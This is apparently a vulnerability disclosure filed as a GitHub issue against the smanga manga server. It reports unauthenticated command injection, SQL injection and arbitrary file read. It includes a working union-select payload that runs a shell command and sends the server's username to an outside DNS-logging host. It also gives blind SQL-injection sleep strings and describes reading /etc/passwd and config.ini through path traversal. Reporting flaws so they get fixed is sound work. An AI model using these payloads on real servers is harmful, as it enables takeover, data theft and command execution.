Headline
CVE-2023-36076: 3个高危漏洞 · Issue #100 · lkw199711/smanga
SQL Injection vulnerability in smanga version 3.1.9 and earlier, allows remote attackers to execute arbitrary code and gain sensitive information via mediaId, mangaId, and userId parameters in php/history/add.php.
测试环境说明
- 版本:3.2.7(最新版)
- 环境:docker
docker搭建所使用的命令:
docker run -itd --name smanga \
-p 3333:3306 \
-p 8097:80 \
-v /mnt:/mnt \
-v /route/smanga:/data \
-v /route/compress:/compress \
lkw199711/smanga;
1、未授权远程代码执行
- 漏洞描述
/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
Payload:
mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
- 漏洞复现
payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。
- 漏洞原理
payload中通过sql联合查询拼接自己构造的查询项,构造第5个查询项为命令注入点,即mangaPath的值,程序中删除逻辑没有对参数进行过滤,直接使用rm -rf拼接mangaPath删除,造成了命令注入。
其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。
2、未授权SQL注入
- 漏洞描述
补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。
php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。
- 漏洞复现
使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。
if(now()=sysdate()%2Csleep(3)%2C0)
if(now()=sysdate()%2Csleep(6)%2C0)
使用sqlmap利用测试,成功获取数据库名:
- 漏洞原理
sql语句查询没有对接收的参数进行过滤。
3、未授权任意文件读取
- 漏洞描述
/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。
- 漏洞复现
尝试读取/etc/passwd
尝试读取config.ini
- 漏洞原理
没有对file参数进行过滤,导致任意文件读取。